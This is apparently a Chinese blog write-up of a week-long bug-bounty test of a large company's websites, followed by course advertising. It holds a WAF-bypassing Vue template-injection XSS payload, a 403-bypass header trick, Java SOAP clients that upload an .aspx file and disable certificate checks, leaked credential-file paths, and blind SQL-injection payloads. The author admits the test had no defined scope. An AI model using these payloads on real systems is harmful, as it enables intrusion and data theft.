实战SRC漏洞挖掘全过程(流程详细)零基础入门到精通,收藏这篇就够了

前言

记录一次完整的某SRC漏洞挖掘实战,为期一个多星期。文章有点长,请耐心看完,记录了完整的SRC漏洞挖掘实战

渗透过程

因为选择的幸运儿没有对测试范围进行规划,所以此次范围就是没有范围。

先上主域名看一眼,看看能收集到什么有效信息:

发现存在搜索框:

测试点+1

对页面点点点没发现什么有用的页面。

抓包看看,发现网站搭建了CDN,还有特殊文件:

难度+1,信息+1

谷歌一下,Sitecore是CMS,如果能确定这个CMS的版本就变成了白盒审计,但是尝试了一下无法确定版本只能用网上公开的CMS漏洞来测试。

网上只找到一个CVE-2021-42237(Sitecore XP远程代码执行漏洞),找个POC试试:

找了半天也只找到这几个,可能是因为这个CMS相对来说使用人数较少或者是写的好本身就没漏洞的原因。

用其中一个进行测试:

POC利用失败,提示连接出错。对POC代码分析:

发现请求的POC地址为:

手工请求URL地址后发现,被服务器拒绝访问了,对方做了敏感地址限制访问:

搜索CMS信息得知 /Sitecore 为 Sitecore CMS的后台地址目录,那就变得合理了起来,后续可以尝试绕过限制访问。

测试点+1。

对其进行端口扫描,看有什么暴露在外的服务。可以使用nmap也可以使用其他手段,但是本人对于端口扫描更倾向于使用nmap。

对收集到的端口一一访问,只有443端口能访问,此网站搭建了MySQL服务,1723端口搭建了内部人员使用的VPN服务,但是无法访问,其他的端口同样如此。

利用网上公开的平台扫描一下:

对前面收集的信息确认了一下,多了几个测试点。

对此域名的简单信息收集完成了,看看都有些什么漏洞,可以对漏洞点小测一下:

可以看到网站并没有对特殊符号进行过滤,那这个地方就可能存在SQL或者XSS注入

查看页面源代码发现此处的语句貌似很不安全,可能没有做转译。

测试发现存在WAF,这里可以尝试WAF绕过,但是暂时先不绕过了,渗透测试刚开始就挑硬柿子捏可能会导致开局不利

那就到网上看看收集到的插件可能会存在什么漏洞,搜来搜去只有发现Vue框架有一个可能有用的模板注入漏洞:

但可惜 Vue 是前端框架,Vue 的漏洞影响注定不会太大。通常 Vue.js 数据是通过双大括号{{}}或者v-text指令进行的数据绑定。Vue.js会自动将对应的模板编译成 JS 代码。但是它的源代码是没有对输入的数据进行过滤的。使用公开POC进行测试:

果不其然,被WAF拦截了

换种方法测试,同样行不通:

访问robots.txt可能会有额外的收获:

确定CMS为Sitecore,访问 /api 是403,访问Sitemap:

继续跳转:

是开发网站时的XML配置文件,算是信息泄露,不过没什么危害。

还可以试试403byass,具体绕过过程就不在这里演示了,通过X-Rewrite-URL覆盖路径实现了绕过:

但是上页面发现,绕过了,但并没有完全绕过,还是被重定向到主页面了。

那就收集旁站和子域名,可以使用工具像Layer,也可以用黑暗引擎像FOFA,SHODAN,笔者这里就用了FOFA收集:

俗话说得好一根烟,一杯酒,一个网站测一天。收集了一天,同时也测了一天,用了各种漏扫工具,扫着扫着就被封IP了。延时也好挂代理也好,漏扫工具终究有的漏洞点是扫不到的,况且只会用漏扫工具,那我不还是会点鼠标的猴子,为了成功吃到此次的西瓜,无奈只好大部分采用手工测试。

当然一天不可能什么收获都没有,因为这次测试的公司是个大规模公司(人家行业的领头羊呢),所以他们的暴露面就会相对来说广了许多:

收集到了几个相对来说较为有用的站点:

这几个站点很有意思,用的是同一套CMS,内容一样,功能一样,没区别。可能是当时搭建网站的时候使用的测试页面。

还有一个网站标题为项目管理网站,但是点开却什么功能都没有,后台扫描,上漏扫工具也什么都没扫到(这不纯纯诈骗吗)。

但是这是时候发现了一个站点开是空白,什么显示都没有,一般来说,这种空白的站可能会有意想不到的收获,因为可能是开发者遗漏掉的站

用后台扫描工具扫一下,还真扫出了两个文件:

访问一下

网站的开发文件泄露了,我们得到了网站插件的具体版本

另一个是一张GIF图:

页面并没有什么特别的地方,右键查看网页源代码看看,开发者ID值泄露了:

但是发现的这两个漏洞并没有什么实质性的作用,后期可能会配合其他的漏洞加以利用。实战情况下就是这么让人头大

那么就对先前发现的同模板网站进行测试,同样使用Vue的模板注入漏洞的POC:

页面输出了乘法运算的结果,进一步验证确定存在Vue模板注入漏洞,成功弹窗:

经过验证后其他两个网站也存在这个漏洞,能发现存在这个漏洞还是因为这些测试网站并没有搭建WAF,可能是开发者遗漏下的站点。所以说,柿子要挑软的捏,总不能说一开始就对一个布下重重防御的堡垒去测试,那样有可能浪费了很长时间都没有半点收获。

那么我们现在能知道主域名上也肯定存在这个漏洞,需要做的就是WAF绕过。对于如何绕过网上都有教程,这里就不在过多赘述,这是最终结果:

Payload:{{constructor.constructor%0a(%27\u0061\u006c\u0065\u0072\u00741%27)()}}

成功吃到西瓜,但是这个漏洞本质上还只是一个XSS,费了我这么长时间总不能就吃个小吧?

继续对域名进行收集测试,期间收集到一些各种各样的网站后台,都只是简单的测试了一下有没有SQL和逻辑漏洞,一直没有什么实质性的收获。真是碰上了一块硬骨头,这些网站都有人员维护,不光有WAF,而且该修的漏洞基本上都修了,就连OpenSSH1.1.1都升级到了1.1.1.c ,我都想换个SRC重新测了。

终于,在一个星期后的一天继续信息收集时,在FOFA上发现了一个 Service Web Service 接口

点开了其中一个发现给出了接口的调用代码,而且还有文件上传,XML上传的接口:

调用接口试试:

接口调用失败,又试了很多次,还是失败,换安全的文件、后缀、00截断都没有成功,因为不确定具体是因为什么原因所以写了个java脚本测试一下具体是什么原因:

   ``import java.io. *;``import java.net. *;``   ``public class FileUploader {``public static void main(String[] args) throws Exception {``String url = "http://target.com/Service.asmx";``URL obj = new URL(url);``HttpURLConnection con = (HttpURLConnection) obj.openConnection();``   ``// 设置请求方法和请求头``con.setRequestMethod("POST");``con.setRequestProperty("Content-Type", "text/xml; charset=utf-8");``con.setRequestProperty("SOAPAction", "http://tempuri.org/UploadFile");``   ``// 构造SOAP消息体``String fs = ""; // TODO: 将文件内容转换为base64编码字符串``   ``   ``String path = "test.aspx";``String fileName = "test.aspx";``String soapXml =``"<soap:Envelope xmlns:soap='http://schemas.xmlsoap.org/soap/envelope/' " +``"xmlns:xsi='http://www.w3.org/2001/XMLSchema-instance' " +``"xmlns:xsd='http://www.w3.org/2001/XMLSchema'>" +``"<soap:Body>" +``"<UploadFile xmlns='http://tempuri.org/'>" +``"<fs>" + fs + "</fs>" +``"<path>" + path + "</path>" +``"<fileName>" + fileName + "</fileName>" +``"</UploadFile>" +``"</soap:Body>" +``"</soap:Envelope>";``   ``// 发送SOAP消息体``con.setDoOutput(true);``OutputStream os = con.getOutputStream();``os.write(soapXml.getBytes());``   ``// 读取响应``int responseCode = con.getResponseCode();``System.out.println("Response Code : " + responseCode);``   ``BufferedReader in = new BufferedReader(``new InputStreamReader(con.getInputStream()));``String inputLine;``StringBuffer response = new StringBuffer();``   ``while ((inputLine = in.readLine()) != null) {``response.append(inputLine);``}``in.close();``   ``// 打印响应``System.out.println(response.toString());``}``}``   ``   

程序提示对方服务器积极拒绝连接,说明管理员对调用文件上传接口IP做了限制(可真是块硬骨头),XML上传也同样是如此

无奈只能换个方向,用后台扫描工具扫一下,还真扫出了大量敏感文件:

因为帽子叔叔 + 这些数据真的是特别敏感的原因,就不方便展示了,只能说一下大概:

target.com/log/                          存放服务器日志文件``target.com/data/                        存放数据库文件``target.com/data/Setting.xml      包含数据库用户名,密码,IP地址``target.com/old/                          包含了服务器名称,密码``target.com/trace.axd                  包含了服务器搭载的应用程序代码``target.com/update/                    存放系统内部文件,应用程序,dll``target.com/update/Setting.xml  服务名,IP,计算机名,密码和内部IP地址

这颗西瓜甜,但当时渗透测试进展到这个地步时,已经花费了一个星期的时间,所以笔者并不是很满意。所以就再对剩下的接口一一测式。其中一个接口是用来盘点商品信息的:

配合文件泄露漏洞,构造数据包,然后对其进行测试:

在 whcode 参数处输入商品货号,返回包中StocktakingStartResult 参数返回值为0

而随便输入一个不存在的数据,返回包中StocktakingStartResult 参数返回值为-1,由此可知接口调用成功返回值为0,失败为-1:

进一步构造判断语句,查看是否存在SQL注入漏洞:

  • 验证:-1’ OR 1=1 ==> true 返回值为0

  • 验证:-1’ OR 3+220-220-1=0+0+0+1 ==> false 返回值为-1

  • 验证:-1’ OR 3*2=6 AND 000220=000220 ==> true 返回值为0

所以在参数whcode处一定存在SQL注入漏洞

判断完后就开始对其进行SQL注入:

发现竟然报错了,一开始笔者以为是语句构造错了,又换了几种语句无果后,想看看调用接口的回显是什么,问题出在哪里,所以就写了个脚本帮助判断

import java.io.BufferedReader;``import java.io.InputStreamReader;``import java.io.OutputStreamWriter;``import java.net.HttpURLConnection;``import java.net.URL;``public class asmx {``public static void main(String[] args) throws Exception {``// 设置请求参数``String url = "https://target.com/";``String soapAction = "http://tempuri.org/StocktakingStart";``String payload = "<?xml version=\"1.0\"?><soap12:Envelope xmlns:soap12=\"http://www.w3.org/2003/05/soap-envelope\" xmlns:tns=\"http://tempuri.org/\"><soap12:Header /><soap12:Body><tns:StocktakingStart><tns:user>tsSLAueP</tns:user><tns:whcode>1</tns:whcode><tns:PDtype>1</tns:PDtype><tns:UNITCODE>94102</tns:UNITCODE><tns:BRANDCODE>94102</tns:BRANDCODE></tns:StocktakingStart></soap12:Body></soap12:Envelope>";``// 创建连接``URL requestUrl = new URL(url);``HttpURLConnection connection = (HttpURLConnection) requestUrl.openConnection();``   ``// 忽略SSL证书验证``javax.net.ssl.HttpsURLConnection.setDefaultHostnameVerifier(``(hostname, sslSession) -> true);``trustAllHttpsCertificates();``   ``// 设置请求方法和头部``connection.setRequestMethod("POST");``connection.setRequestProperty("SOAPAction", soapAction);``connection.setRequestProperty("Content-Type", "text/xml;charset=UTF-8");``connection.setDoOutput(true);``   ``// 发送请求``OutputStreamWriter writer = new OutputStreamWriter(connection.getOutputStream(), "UTF-8");``writer.write(payload);``writer.flush();``writer.close();``   ``// 接收回显``BufferedReader reader = new BufferedReader(new InputStreamReader(connection.getInputStream()));``StringBuilder responseBuilder = new StringBuilder();``String line;``while ((line = reader.readLine()) != null) {``responseBuilder.append(line);``}``String response = responseBuilder.toString();``reader.close();``   ``// 输出回显``System.out.println(response);``}``   ``// 忽略SSL证书验证所需的方法``private static void trustAllHttpsCertificates() throws Exception {``javax.net.ssl.TrustManager[] trustAllCerts = new javax.net.ssl.TrustManager[1];``javax.net.ssl.TrustManager tm = new miTM();``trustAllCerts[0] = tm;``javax.net.ssl.SSLContext sc = javax.net.ssl.SSLContext.getInstance("SSL");``sc.init(null, trustAllCerts, null);``javax.net.ssl.HttpsURLConnection.setDefaultSSLSocketFactory(sc.getSocketFactory());``}``   ``// 忽略SSL证书验证所需的类``static class miTM implements javax.net.ssl.TrustManager,``javax.net.ssl.X509TrustManager {``public java.security.cert.X509Certificate[] getAcceptedIssuers() {``return null;``}``   ``public boolean isServerTrusted(``java.security.cert.X509Certificate[] certs) {``return true;``}``public boolean isClientTrusted(``java.security.cert.X509Certificate[] certs) {``return true;``}``public void checkServerTrusted(``java.security.cert.X509Certificate[] certs, String authType)``throws java.security.cert.CertificateException {``return;``}``public void checkClientTrusted(``java.security.cert.X509Certificate[] certs, String authType)``throws java.security.cert.CertificateException {``return;``}``}``}

但是我惊奇的发现,没有回显,只有数据包,回显都在数据包里了,那这就不好办了,只能另寻思路。

在我绞劲脑汁,冥思苦想了一天多后,我想到了既然没有回显,那么就把语句全构造为判断句:

Payload:-1' OR ASCII(SUBSTRC((SELECT NVL(CAST(user AS VARCHAR(4000)),CHR(32)) FROM aaaa),1,1))&gt;0 AND 000360=000360 --

这段代码是用ASCII码的大小来判断用户名密码,假设:用户名第一位的ASCII码为66,如果在判断过程中,66>67,那么后半段值就为假,反之则为真。这样就可以判断出数据库用户名和密码了,因为我先前已经通过信息泄露漏洞得知了数据库的用户名和密码所以就直接对用户名密码进行了验证,结果是相同的。

终于是不负有心人,耗费了笔者一个多星期,终于是吃到了大西瓜。有了SQL注入漏洞,后续就不用我多说了。当然,要挖掘SRC要注意分寸,不然会有帽子叔叔来找你的。

总结:

一句话,柿子要挑软的捏。渗透测试思路最重要,每个人在做渗透测试时的思路都不同,有思路有想法才能进行下去。

挖漏洞需要掌握的基础知识

首先说说基础理论知识:

1.计算机组成原理、计算机网络、计算机体系结构、计算机操作系统,密码学,多媒体技术等等。这些都需要掌握总之一句话就是大学计算机的基础课程。

2.编程: HTML、CSS、JavaScript、 PHP、 Java、 Python、 sql、 C、C++、 shell,汇编、nosql. powershell等等常见的语言基础都需要掌握,至少要熟练使用Python和sq|,这些语言都要学习两周到两三个月吧!

3.漏洞方面,漏洞分很多种,根据不同的标准也会有交叉,黑客要掌握大部分漏洞的形成原理,检测方法,利用方法,修复方法,常见的网站漏洞有sq|注入,XSS, 文件包含,目录遍历,文件上传,信息泄露,CSRF, 账号爆破,各种越权等等,常见的二进制漏洞有缓冲区溢出,堆溢出,整形溢出,格式化字符串等等,分析的时候还要绕过操作系统的保护机制。

协议的话也是存在漏洞的,比如TCP、UDP什么的拒绝服务,DNS劫持,ARP欺骗等等, 现在工控、物联网、AI什么的也都有各种各样的漏洞。

4.需要掌握的工具,工具太多, 基本上目前主流的客工具都要熟练使用,应该有几十种吧。上文已经详细阐述,这里就不赘述了。

网络安全全套工具安装包,我已经打包好了,需要的小伙伴扫描下方二维码即可前往免费获取。

因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取

5.还有网站和通讯协议吧,客户端和服务器,用户输入网址点击访问到服务器返回网页这其中涉及的知识,如JavaScript, http请求, web服务器,数据库服务器,系统架构,负载均衡,DNS,等等是要熟练掌握的,然后说说主流的网站开发框架,其中Java的SSH三大框架要了解有什么漏洞啥的PHP的主流框架和CMS要了解,最好上面的框架都会掌握,如织梦,thinkPHP等等,另外主流的数据库服务器要了解如MySQL,sql server等。

如果要做漏洞利用的话涉及到TCP等编程,要会TCP编程, 如果为了通讯安全,要掌握当前主流的加密算法,如AES, RSA, 3DES等等各种加密算法,如果要对端口进行暴力破解,要掌握端口的爆破技术,比如字典的选择使用。

还有要了解软件运行的时候在操作系统里怎么运行的,从计算机磁盘文件加载到内存,怎么布局的,代码段,数据段,堆栈段什么的,代码的参数在堆栈布局,内存地址什么的,另外还要了解系统的保护机制如代码执行保护等等。

当然挖漏洞需要学习的东西还有很多,很都东西都很关键。能走多远,就看你的执行力和兴趣了。

挖漏洞的注意事项

挖SRC一定要细,慢慢的去分析,不能着急往往越着急越挖不倒,这里可以给大家一些建议,在挖掘SRC期间

1. 不要着急出洞,先去慢慢摸索厂商的各种信息,了解每个功能点(做好信息搜集)

2. 去分析每一个数据包,知道每个数据包对应的功能点在哪儿,去知道数据包对应鉴权的地方在哪一块

3. 多去关注厂商的活动,一般新上线的项目或者活动漏洞比较好挖一些

4. 关注厂商信息,比如一些活动期间奖励翻倍等信息

5. 千万要记住去看人家厂商的漏洞收录范围,不看范围挖漏洞=白干

6. SRC漏洞挖掘需要遵守法律规定,避免侵犯网站安全和用户隐私,同时需要遵循公司或组织的安全政策。

7. 在进行SRC漏洞挖掘时需要注意保护漏洞信息和利用手法的安全性,不应该泄露给未经授权的人员。

SRC逻辑漏洞一般产出比较高的漏洞就在于逻辑漏洞,别的漏洞也有但是相比起来逻辑漏洞的价值更高**

今天只要你给我的文章点赞,我私藏的网安学习资料一样免费共享给你们,来看看有哪些东西。

网络安全学习资源分享:

最后给大家分享我自己学习的一份全套的网络安全学习资料,希望对想学习 网络安全的小伙伴们有帮助!

零基础入门

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

读者福利 | 优快云大礼包:《网络安全入门&进阶学习资源包》免费分享 (安全链接,放心点击)

在这里插入图片描述

1.网络安全学习路线图

要学习一门新的技术,作为新手一定要先学习成长路线图,方向不对,努力白费。

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图&学习规划。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

在这里插入图片描述

2.视频教程

网上虽然也有很多的学习资源,但基本上都残缺不全的,这是我自己录的网安视频教程,上面路线图的每一个知识点,我都有配套的视频讲解。

技术文档也是我自己整理的,包括我参加大型网安行动、CTF和挖SRC漏洞的经验和技术要点,电子书也有200多本【点击领取技术文档】

在这里插入图片描述

(都打包成一块的了,不能一一展开,总共300多集)

3.技术文档和电子书

技术文档也是我自己整理的,包括我参加大型网安行动、CTF和挖SRC漏洞的经验和技术要点,电子书也有200多本【点击领取书籍】

在这里插入图片描述

4.工具包、面试题和源码

“工欲善其事必先利其器”我为大家总结出了最受欢迎的几十款款黑客工具。涉及范围主要集中在 信息收集、Android黑客工具、自动化工具、网络钓鱼等,感兴趣的同学不容错过。

在这里插入图片描述

最后就是我这几年整理的网安方面的面试题,如果你是要找网安方面的工作,它们绝对能帮你大忙。

这些题目都是大家在面试深信服、奇安信、腾讯或者其它大厂面试时经常遇到的,如果大家有好的题目或者好的见解欢迎分享。

参考解析:深信服官网、奇安信官网、Freebuf、csdn等

内容特点:条理清晰,含图像化表示更加易懂。

内容概要:包括 内网、操作系统、协议、渗透测试、安服、漏洞、注入、XSS、CSRF、SSRF、文件上传、文件下载、文件包含、XXE、逻辑漏洞、工具、SQLmap、NMAP、BP、MSF…

在这里插入图片描述

在这里插入图片描述

读者福利 | 优快云大礼包:《网络安全入门&进阶学习资源包》免费分享 (安全链接,放心点击)

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值